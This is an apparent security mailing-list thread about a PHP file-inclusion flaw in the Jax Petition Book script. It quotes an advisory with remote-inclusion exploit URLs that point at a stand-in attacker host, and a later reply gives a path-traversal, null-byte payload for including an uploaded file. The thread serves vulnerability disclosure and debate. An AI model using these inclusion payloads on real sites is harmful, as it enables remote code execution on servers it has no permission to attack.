Actually, this can be pretty serious depending on server settings, but
an improper example was given.
Better one:
jax_petitionbook.php?languagepack=../../some_other_allowed_file_uploads/
myfile.php.gif%00
Many servers will have magic quotes on to defeat the null byte, but by no means all.
John
bmatheny (at) mobocracy (dot) net [email concealed] wrote:
>This is not a vulnerability. Since $languagepack is prefixed by "language/",
>the PHP stream handler will simply try to open a local file. Also, you can
>only modify $languagepack if register_globals is on, which, it rarely is
>these days.
>
>Can we stop with the PHP 'vulnerabilities' that aren't?
>
>-Blake
>
>Whatchu talkin' 'bout, Willis?
>
>
>>----------------------------------------------------------------------
--------------------------------------------
>>
>>AYYILDIZ.ORG PreSents...
>>
>>
>>*Script: Jax Petition Book
>>*Download: jtr.de/scripting/php/guestbook/petitionbook%20v1.0.3.06.zip
>>
>>*Contact: ilker Kandemir <ilkerkandemir[at]mynet.com>
>>
>>----------------------------------------------------------------------
---------------------------------------------
>>
>>*Code:
>>
>>require ( "language/" .$languagepack . ".inc.php" );
>>
>>----------------------------------------------------------------------
---------------------------------------------
>>
>>*Exploit:
>>
>>jax_petitionbook.php?languagepack=http://attacker.txt?
>>smileys.php?languagepack=http://attacker.txt?
>>
>>----------------------------------------------------------------------
---------------------------------------------
>>
>>Tnx:H0tturk,Dr.Max Virus,Asianeagle,PcDelisi,CodeR,Dum?nci
>>Special Tnx: AYYILDIZ.ORG
>>
>>
>
>
>